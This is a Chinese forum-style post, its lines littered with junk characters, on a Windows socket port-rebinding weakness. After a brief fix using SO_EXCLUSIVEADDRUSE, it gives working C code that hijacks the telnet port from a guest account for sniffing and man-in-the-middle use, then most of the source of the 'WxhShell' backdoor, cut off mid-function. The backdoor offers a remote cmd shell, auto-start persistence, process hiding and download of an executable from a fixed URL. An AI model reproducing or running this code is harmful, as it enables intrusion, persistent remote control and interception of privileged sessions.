在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
7{v0K"E{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
o@EV>4e y im*QaO%a4 saddr.sin_family = AF_INET;
PPPRO.y L4
x saddr.sin_addr.s_addr = htonl(INADDR_ANY);
j=PQoEtU'< D3;^!ln]D bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
rAn''X6H P,_GTs3/G 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
7.8ukAud e`<=&w 这意味着什么?意味着可以进行如下的攻击:
>pG]#Z g f^:9gRt 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
V6BCW; %}+j4n 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
@D[;$YEk q<,?:g$k 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
TnPd pynP o Ep\po1 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
-
Kj$A@~x 0O!%NL[, 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
8
x|NR? VskyRxfdW3 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
csH1X/3ha\ :pDw gd 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
L
a0H /<zBcpVNV #include
m#grtmyMrI #include
r,[vXxMy(; #include
<ynmA #include
?
Yy[8_(tN DWORD WINAPI ClientThread(LPVOID lpParam);
"MZVwl "E# int main()
.IYOtS {
^0~?3t5 WORD wVersionRequested;
)I.[@#- DWORD ret;
y9Yh%M( WSADATA wsaData;
3::DURkjf BOOL val;
S>*i^If SOCKADDR_IN saddr;
c}g^wLa SOCKADDR_IN scaddr;
!<((@*zU int err;
G)5%f\& SOCKET s;
Ax=Rb
B" SOCKET sc;
'u_'y int caddsize;
,)S|%tDW HANDLE mt;
DH)@8)C DWORD tid;
oKA8)~Xqou wVersionRequested = MAKEWORD( 2, 2 );
NrNbNFfo err = WSAStartup( wVersionRequested, &wsaData );
@xSS`&b if ( err != 0 ) {
C1)TEkc"C printf("error!WSAStartup failed!\n");
[M
Z'i/ return -1;
_d %H;<_ }
Y;xVB"
( saddr.sin_family = AF_INET;
{j ${i wKXKc\r //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Mm^o3vl J3S@1"
saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
gqyQ Zew saddr.sin_port = htons(23);
Tj<W4+p{ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;IXDZ#; {
Ol{)U;,` printf("error!socket failed!\n");
pRPz1J$58 return -1;
nFX8:fZ$> }
~O
65=8 val = TRUE;
L*D-RYW //SO_REUSEADDR选项就是可以实现端口重绑定的
EoIP#Cnd1 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
>9uDY+70I3 {
efl6U/'Ij printf("error!setsockopt failed!\n");
+>44'M^Z|( return -1;
E`u=$~K }
.!l#z|/x //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
2Z\6xb|u //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
5?kF'yksR //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
"_}Hzpy5k V78QV3 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
]wER&/v" {
1EyM,$On ret=GetLastError();
u"?cmg<.1 printf("error!bind failed!\n");
z )a8
^]` return -1;
%_KNAuM }
@&83/U? listen(s,2);
VbKky1a@ while(1)
t
/EB
y"N# {
ZiSy&r:( caddsize = sizeof(scaddr);
;rV0 //接受连接请求
!3kyPoq+ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
=S|SQz5%w if(sc!=INVALID_SOCKET)
V[HHP_ {
x6.an_W6 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Jc-0.^]E} if(mt==NULL)
vp[~%~1( {
df&d+jY printf("Thread Creat Failed!\n");
r*p<7 break;
N$6Rg1 }
.B6$U>>NS^ }
g(;t,Vy,I CloseHandle(mt);
YaFQy0t%/5 }
,CA,7Mu: closesocket(s);
Hhx<k{B@7 WSACleanup();
NMJ230? return 0;
dSS_^E[{ }
vaxNF%^~yN DWORD WINAPI ClientThread(LPVOID lpParam)
zq8z#FN {
4IG'Tm SOCKET ss = (SOCKET)lpParam;
0>)('Kv SOCKET sc;
@Vr?)_0 unsigned char buf[4096];
"F7g8vu SOCKADDR_IN saddr;
KNic$:i long num;
DHaSBk DWORD val;
g%4-QCZ, DWORD ret;
:05>~bn>pC //如果是隐藏端口应用的话,可以在此处加一些判断
2(\~z@g //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
yCf*ts1 saddr.sin_family = AF_INET;
Om\?<aul saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ZcYxH|Gn saddr.sin_port = htons(23);
WW:@% cQ@ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
QukLsl]U {
so9h6K{qcp printf("error!socket failed!\n");
:y"Zc1_E return -1;
^;Nu\c }
#6 e val = 100;
Ja4O*C< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'%. lY9D {
{-PD3 [f" ret = GetLastError();
`$JPF Z return -1;
</5uB'
B ^ }
:K#'?tH if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-|~6Zf" {
IR;lt 3 ret = GetLastError();
Sl/[9-a) return -1;
Q$iYhR }
'ZgrN14 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
.8<bz4 {
]uI#4t~ printf("error!socket connect failed!\n");
t,]r% closesocket(sc);
S#/[>Cb closesocket(ss);
;$ D*,W
* return -1;
I:P/
?- }
<Qe30_<K while(1)
.RxH-]xk {
,P3nZ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
s(w6Ldi //如果是嗅探内容的话,可以再此处进行内容分析和记录
ytf.$P //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Q mT L- num = recv(ss,buf,4096,0);
+H,/W_/g if(num>0)
Du k v[/60 send(sc,buf,num,0);
8{Bcl5]< else if(num==0)
6+b!|`?l+ break;
B<SuNbR num = recv(sc,buf,4096,0);
c:.k2u if(num>0)
G1K5J`"* send(ss,buf,num,0);
iq)4/3"6 else if(num==0)
#eD@sEn break;
+!\$SOaR{ }
%>_ZUu3M closesocket(ss);
^vS+xq|4" closesocket(sc);
tY-{uHW&h return 0 ;
H4ml0SS^ }
=B@owx vn}:$|r$J
UIc )]k% ==========================================================
9^h0D}#@ 81u}J9z; 下边附上一个代码,,WXhSHELL
LE%3..
! p}$VBl$' ==========================================================
rH"& g]PmmK_L #include "stdafx.h"
bnt>j0E `?+lM #include <stdio.h>
FGo{6'K(: #include <string.h>
u )cc #include <windows.h>
4loG$l+a1 #include <winsock2.h>
3=@94i #include <winsvc.h>
_]E H~; #include <urlmon.h>
fA{[H:*}G } QVREj #pragma comment (lib, "Ws2_32.lib")
_yw]Cacr\ #pragma comment (lib, "urlmon.lib")
&i179Qg! MA0}BJoW #define MAX_USER 100 // 最大客户端连接数
99j^<) #define BUF_SOCK 200 // sock buffer
.Az'THD} #define KEY_BUFF 255 // 输入 buffer
`1aEV#; 4+qoq$F</ #define REBOOT 0 // 重启
oh
c/{D2 #define SHUTDOWN 1 // 关机
= s^KZV CBz$N) f #define DEF_PORT 5000 // 监听端口
VX0q!Q ?UCK #define REG_LEN 16 // 注册表键长度
<2@V$$Qg.~ #define SVC_LEN 80 // NT服务名长度
e=S51q_0 u
hW@
Y+ // 从dll定义API
w9h`8pt typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
`IL''eJug_ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
:%-xiv typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Y|$3%t typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
R3=PV{`M faH113nc // wxhshell配置信息
yzJ
VU0s struct WSCFG {
`(NMHXgG+ int ws_port; // 监听端口
SKO*x^"eU char ws_passstr[REG_LEN]; // 口令
F}
d>pK9fn int ws_autoins; // 安装标记, 1=yes 0=no
aF2vw{wT} char ws_regname[REG_LEN]; // 注册表键名
(ns>z7 char ws_svcname[REG_LEN]; // 服务名
gbF^m`A>%+ char ws_svcdisp[SVC_LEN]; // 服务显示名
t:|knZq char ws_svcdesc[SVC_LEN]; // 服务描述信息
67<Ym0+ = char ws_passmsg[SVC_LEN]; // 密码输入提示信息
>~C*m `# int ws_downexe; // 下载执行标记, 1=yes 0=no
$}kT)+K char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
rik-C7 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
!U,W; R hI249gW9 };
)"SP >2} :2^j/ // default Wxhshell configuration
Y v22,|: struct WSCFG wscfg={DEF_PORT,
o9&&u1`M/ "xuhuanlingzhe",
.KH3.v/c| 1,
E2J.t`H "Wxhshell",
HjG!pO{ "Wxhshell",
\Eqxmo "WxhShell Service",
yKSvg5lLy "Wrsky Windows CmdShell Service",
'Bul_D4B "Please Input Your Password: ",
aNn\URR 1,
Npu#.)G "
http://www.wrsky.com/wxhshell.exe",
0V:7pSC{P "Wxhshell.exe"
s'/b&Idf8 };
)q#1C]7m* iBlZw%zKP // 消息定义模块
u17e char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
X'BFR]cm char *msg_ws_prompt="\n\r? for help\n\r#>";
9a4Xf%!F>z char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
}\+7*| char *msg_ws_ext="\n\rExit.";
w, uyN char *msg_ws_end="\n\rQuit.";
YXeL7W char *msg_ws_boot="\n\rReboot...";
%p? +r char *msg_ws_poff="\n\rShutdown...";
eRV4XB : char *msg_ws_down="\n\rSave to ";
JQSp2b@'H 2|Of$oMc char *msg_ws_err="\n\rErr!";
oUXi4lsSc char *msg_ws_ok="\n\rOK!";
~cHpA;x9<^ 9/[1a_
r char ExeFile[MAX_PATH];
?"23X Ke int nUser = 0;
rK^Sn7 U HANDLE handles[MAX_USER];
fyb:eO} int OsIsNt;
7-p9IFcA `|9NxF+ SERVICE_STATUS serviceStatus;
(A@~]N,U/ SERVICE_STATUS_HANDLE hServiceStatusHandle;
8HL$y-F 0M[O(.x // 函数声明
iv3=J
int Install(void);
yWsJa)e3*@ int Uninstall(void);
L?[NXLn+ int DownloadFile(char *sURL, SOCKET wsh);
LI`L!6^l int Boot(int flag);
7t8[M( void HideProc(void);
3}U {~l!K int GetOsVer(void);
d46PAA{' int Wxhshell(SOCKET wsl);
R<"fcsU void TalkWithClient(void *cs);
V_)G=#6Dy int CmdShell(SOCKET sock);
x d9+P int StartFromService(void);
oRJ!J-Z] int StartWxhshell(LPSTR lpCmdLine);
6I5,PB rUg<(/c VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
/Mac:;W` VOID WINAPI NTServiceHandler( DWORD fdwControl );
.Oh4b5 jY: )W*TXt // 数据结构和表定义
6R.%I{x' SERVICE_TABLE_ENTRY DispatchTable[] =
]f%yeD {
$ NNd4d* {wscfg.ws_svcname, NTServiceMain},
+`y{r^xD {NULL, NULL}
U^AywE] };
dp&8:jy ao+lLCr // 自我安装
P1gW+*? int Install(void)
,RP"m#l!\ {
T4
:UJj} char svExeFile[MAX_PATH];
@/(\YzQvp] HKEY key;
8XS_I{}? strcpy(svExeFile,ExeFile);
CxvL!ew U%<E9G594 // 如果是win9x系统,修改注册表设为自启动
4Z'/dI` if(!OsIsNt) {
%9^^X6yLM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-'q#u C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
DQ#rZi3I RegCloseKey(key);
V*}xlxSL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
%A]?5J)Bi RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
t[dOWgHi RegCloseKey(key);
@ PboT1 return 0;
yniXb2iM }
MXVQ90 }
>g {w, }
.el&\Jt else {
N9SC\ ]U4)2s // 如果是NT以上系统,安装为系统服务
C[4{\3\Va SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Za"m;+H<E if (schSCManager!=0)
E}YJGFB7" {
e1Ne{zg~ SC_HANDLE schService = CreateService
:!'!V>#g (
ZqONK^ schSCManager,
9 a$\l2 wscfg.ws_svcname,
6k4ZzQ} wscfg.ws_svcdisp,
J*!_kg)>J SERVICE_ALL_ACCESS,
&d%0[Ui` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
,$H[DX SERVICE_AUTO_START,
ryC7O'j_P SERVICE_ERROR_NORMAL,
Zk={3Y svExeFile,
tz6N,4J? NULL,
\H^A@f NULL,
?W27
h NULL,
Ad:}i9-x NULL,
kWSei3 NULL
=%i~HDiy );
(yr<B_Y'MY if (schService!=0)
\dx$G?R {
dE_d.[! CloseServiceHandle(schService);
]"wl*$N CloseServiceHandle(schSCManager);
],W/IDv strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
8:9/RL\"x strcat(svExeFile,wscfg.ws_svcname);
-ff@W m if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
"sD[P3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
;ndwVZ~, RegCloseKey(key);
q{c/TRp7 return 0;
j#f7-nHyz8 }
f[XsnN2 }
!GAU?J;<#2 CloseServiceHandle(schSCManager);
Xc}~_.] }
ozCH1V{p }
I{8sLzA03S pm4'2B|)g return 1;
^*$lCUv8p }
L>ruNw'-K 9w:F_gr // 自我卸载
g[%iVZ int Uninstall(void)
us,~<e0 {
&*\-4)Tf HKEY key;
\'>8 (i~ (c\i .z if(!OsIsNt) {
4iPxtVT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ExW3LM9( RegDeleteValue(key,wscfg.ws_regname);
%&81xAt RegCloseKey(key);
FSNzBN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
e.n*IJ_fz RegDeleteValue(key,wscfg.ws_regname);
dBeZx1Dy RegCloseKey(key);
u,88V@^ return 0;
2@jlF!zC }
~USU\dni }
Ij_h #f }
`at>X&Ce, else {
:9.QhY)D 5;:964Et SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
'VQ
mK# if (schSCManager!=0)
Be4n\c. {
OBp&64 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
D:I6nSoC if (schService!=0)
1=^edQ+ {
&f"kWOe$X if(DeleteService(schService)!=0) {
h4,S/n CloseServiceHandle(schService);
7.!`c-8
u CloseServiceHandle(schSCManager);
Gc0/*8u/ return 0;
?E|be
) }
Z]\IQDC CloseServiceHandle(schService);
<],~V\m }
,^m;[Dl7 CloseServiceHandle(schSCManager);
WW.amv/[a }
rE5q
BEh }
"l7))>lL J.g4I|{ return 1;
i4g99Kvl }
,Srj38p bi<?m^j // 从指定url下载文件
0'nY int DownloadFile(char *sURL, SOCKET wsh)
w"/RI#7. {
c)Ep<W<r1 HRESULT hr;
hL(zVkYI char seps[]= "/";
4)OM58e} char *token;
_rIFwT1] char *file;
{T(z@0Xu char myURL[MAX_PATH];
>ZjGs8& char myFILE[MAX_PATH];
n^+rxG6L Hp1n*0%dZ& strcpy(myURL,sURL);
kA/V=xO< token=strtok(myURL,seps);
<}z,!w8 while(token!=NULL)
>}|Vmy[/ {
dZi?Z file=token;
!3JYG token=strtok(NULL,seps);
ADW> }
lRr ={
>s "U6:z M GetCurrentDirectory(MAX_PATH,myFILE);
zSM;N^X 8? strcat(myFILE, "\\");
[(D^`K<b strcat(myFILE, file);
0X:
:<N@ send(wsh,myFILE,strlen(myFILE),0);
j ?gscQ3 send(wsh,"...",3,0);
k2t#O%_f hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
idLCq^jnJ if(hr==S_OK)
^cz;UQX~} return 0;
D$$,T.'u else
!ZC0 n` return 1;
6d%'>^`(o- C?h`i ^ >2 }
+i1\],7 dLnu\bSF // 系统电源模块
yG%<LP2p@f int Boot(int flag)
l;'#!hC) {
/:o (Ghc? HANDLE hToken;
cN]]J TOKEN_PRIVILEGES tkp;
SPEDN}/^ 1-6[KBQ8 if(OsIsNt) {
:4'Fq;%C OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
@2eV^eO9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
'D1Sm&M2%e tkp.PrivilegeCount = 1;
U2@Mxw tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
di,?` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
kV$$GLD\ if(flag==REBOOT) {
o7B }~;L if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
6;^ e return 0;
3.vQ~Fvl }
X&+*?Q^ else {
`kERM-@A if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
F')fi0= return 0;
JRT,%;*, }
^,;AM(E }
z')zVoW, else {
;{e=Iz}/ if(flag==REBOOT) {
7Rix=* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ctB(c`zcY return 0;
~~D
=Z# }
gJv;{;% else {
KE
k]<b= if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
<Z6tRf;B return 0;
jh|4Y( }
rDvz2p"R }
!`VC4o .xIu return 1;
2*<'=*zaQ }
5|^{t00T~ $*Z Zh // win9x进程隐藏模块
*[MK{m void HideProc(void)
>*"6zR2 o {
5HAIKc
:Ky
*AI HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
=e>#oPH if ( hKernel != NULL )
"BAH=ul5E {
O*d4zBT
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
'z}Hg
* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
5_}e?T&s FreeLibrary(hKernel);
G',*"mZQ[ }
0-9.u`)#yu <m|\#Jw_V return;
tgX},OU^ }
D" 4*& p>c` GDU // 获取操作系统版本
0D*uZ,oBEw int GetOsVer(void)
sivd@7r\Fa {
d'yA"b] OSVERSIONINFO winfo;
U.[?1:v winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
.M$}.v GetVersionEx(&winfo);
/#,3JU$w if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
H"g$qSx return 1;
yQXHEB else
SB3=5"q return 0;
/W,K% s] }
O73 /2=1V xq2
,S // 客户端句柄模块
K[XFJ 9 int Wxhshell(SOCKET wsl)
vj23j[!| {
N {$'-[ SOCKET wsh;
+C(v4@=nd struct sockaddr_in client;
-a}d
@& DWORD myID;
3N] {Va"o~io while(nUser<MAX_USER)
B: pIzCP {
!QB(M@1 int nSize=sizeof(client);
CX8tTbuFl wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
/<Doe SDJ| if(wsh==INVALID_SOCKET) return 1;
<$\En[u0 +cw;a]o^> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
_(q|W3 if(handles[nUser]==0)
RQ1`k,R= closesocket(wsh);
r9a?Y!( else
u{o!j7 nUser++;
aFj)s?$4]K }
KvM}g2" WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
$:YJ<HvG< B`/cKfg return 0;
Q6?}/p }
UO&
p2 Y68T&swD // 关闭 socket
l&z)Q/>?pZ void CloseIt(SOCKET wsh)
Nz,8NM] {
u'?yc"d># closesocket(wsh);
l1|z;
$_z nUser--;
+;}XWV ExitThread(0);
QX*HvT }
`z=I}6){ #NAlje( 7 // 客户端请求句柄
;plzJ6> void TalkWithClient(void *cs)
K,>D%mJ {
rSYzrVc u= |hRTD= SOCKET wsh=(SOCKET)cs;
P|[i{h char pwd[SVC_LEN];
2[\I{<2/9 char cmd[KEY_BUFF];
WheJ 7~ char chr[1];
Di3<fp#w# int i,j;
/;%[:x O MEPF2: while (nUser < MAX_USER) {
BVx: JiA #Fua^]n if(wscfg.ws_passstr) {
u"%i3%Yjh if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{-sy,EYcw //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%}U-g"I //ZeroMemory(pwd,KEY_BUFF);
~ituPrH%< i=0;
^oFg5 while(i<SVC_LEN) {
4MVa[0Y SnF3I // 设置超时
$lj1924?^ fd_set FdRead;
2EubMG struct timeval TimeOut;
"RG.27 FD_ZERO(&FdRead);
acWm+ FD_SET(wsh,&FdRead);
Z=sC YLm TimeOut.tv_sec=8;
rNL*(PN}lO TimeOut.tv_usec=0;
{]\QUXH int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
$I L7c]Gw if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
0Ts[IHpg&E $Nr :YI if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
)fz)Rrr pwd
=chr[0]; 6#+&_#9
if(chr[0]==0xd || chr[0]==0xa) { &)Fp
pwd=0; 7Q<xC
break; .[1"Med J
} m8Q6ESg<*u
i++; dkuB{C,
} Q(-:)3g[aL
&v+8RY^F=
// 如果是非法用户,关闭 socket R{~Yh.)~
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s4 o-*1R*`
} kfo, PrW`A
]3_oT^$:
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c <[?Z7y
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~y+QL{P4~
Mg.xGST
while(1) { S1pikwB
Be{7Rj v
ZeroMemory(cmd,KEY_BUFF); Oo<^~d2=
7FMg6z8~
// 自动支持客户端 telnet标准 odPq<'V|AY
j=0; NZ`( d
while(j<KEY_BUFF) { U:eahK
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3u7^*$S
cmd[j]=chr[0]; CUB= T]
if(chr[0]==0xa || chr[0]==0xd) { @x">e][B
cmd[j]=0; ^'=J'Q
break; J7BfH,o
} Zqke8q
j++; Ti
}Ljp^O
} C8%Io l
rrei6$H&
// 下载文件 ir<HC 'D[
if(strstr(cmd,"http://")) { &ZgB b
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 95;q] =U
if(DownloadFile(cmd,wsh)) i~}[/^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mg]q^T.a
else k9`Bi`wp
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r5z_{g
} $D8eCjUm
else { MoN;t;
X#<#7.
switch(cmd[0]) { -E#!`~&V
}tT"vCu
// 帮助 +2=N#LM
case '?': { m/sAYF"
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `#hdb=3
break; D^To:N7U
} &Ib8xwb:
// 安装 f{[U->#^
case 'i': { xt@zP)6G
if(Install()) 4A:@+n%3m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); CRvUD.D
else ? &ew$%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
M@S6V7
break; *4Cq,o`o>
} HONrt|c
// 卸载 I~EQuQ >=
case 'r': { Ob2H7!
if(Uninstall()) $Ml/=\EHOg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nmp(%;<exN
else IB:Wh;_x
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wxpE5v+f|
break; 306C_M\$
} P]-d(N}/H
// 显示 wxhshell 所在路径 %iY-}uhO
case 'p': { SlI0p&2,
char svExeFile[MAX_PATH]; K:fK!/
strcpy(svExeFile,"\n\r"); 7Xm7{`jH
strcat(svExeFile,ExeFile); Q4r)TR ,
send(wsh,svExeFile,strlen(svExeFile),0); PhF3' ">
break; g<O*4
]=
} ?U:?o_w
// 重启 a02;Zl
case 'b': { GEXT8f(7
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0PD]#.+
if(Boot(REBOOT)) D+d\<":
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7%L%dyN
else { Oz!#);v
closesocket(wsh); 8
ZD1}58U4
ExitThread(0); (L_txd4
} _|rrl
break; (Y\aV+9[
} JzMPLmgG/
// 关机 FqAW><
case 'd': { \2)a.2mAz
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aPaGnP:^
if(Boot(SHUTDOWN)) BL6t>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A"FlH:Pn
else { T;X8T
closesocket(wsh); 'F^nW_ryW
ExitThread(0); S',i
} Es6b~#
break; \^vf`-uG
} _@jBz"aq\
// 获取shell c%c/mata?
case 's': { 5fPYtVm
CmdShell(wsh); .j:[R.
closesocket(wsh); +J30OT8
ExitThread(0); @kC>+4s!
break; |rkj$s,
} R X:wt
// 退出 s`M[/i3Nm
case 'x': { Z W`
Ur>
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zd AqGQfc
CloseIt(wsh); I
<`9ANe
break; G=a.Wff
} Z{RRhJ
// 离开 p*)RP2
case 'q': { Gjq:-kX\
send(wsh,msg_ws_end,strlen(msg_ws_end),0); SHS:>V
closesocket(wsh); =(b;Cow
WSACleanup(); X9C)FS
exit(1); Z<6xQTx
break; lob{{AB,!
} DG}YQr.L
} 2GQq(_
} R?!xO-^t
FU/yJy
// 提示信息 &n+3^JNl
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FDM&rQ
} B8-v!4b0`
} i|+ EC_^<
wP3_RA]z
return; 'gd3 w~
} [?$ZB),L8
2)]C'
// shell模块句柄
E;\XZ<E
int CmdShell(SOCKET sock) 50%
|9D0?Y
{ T">-%-t
STARTUPINFO si; V0+D{|thh6
ZeroMemory(&si,sizeof(si)); ^G%Bj`%
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gv$6\1
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *m:h0[[J
PROCESS_INFORMATION ProcessInfo; ;m$F~!Y
char cmdline[]="cmd"; ]z`Y'wSxd
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); > ^fY`x,
return 0; } Zu2GU$6
} )iadu
6He 7A@Eh
// 自身启动模式 c7T9kV8hS
int StartFromService(void) QA7SQcd,
{ <cG .V|B
typedef struct [z#C&gDt
{ v<iMlOEt
DWORD ExitStatus; [tDUR
DWORD PebBaseAddress; A3ad9?LR[R
DWORD AffinityMask; K1#Y{k5D}
DWORD BasePriority; Cd)e_&
ULONG UniqueProcessId; JPL8fX-w
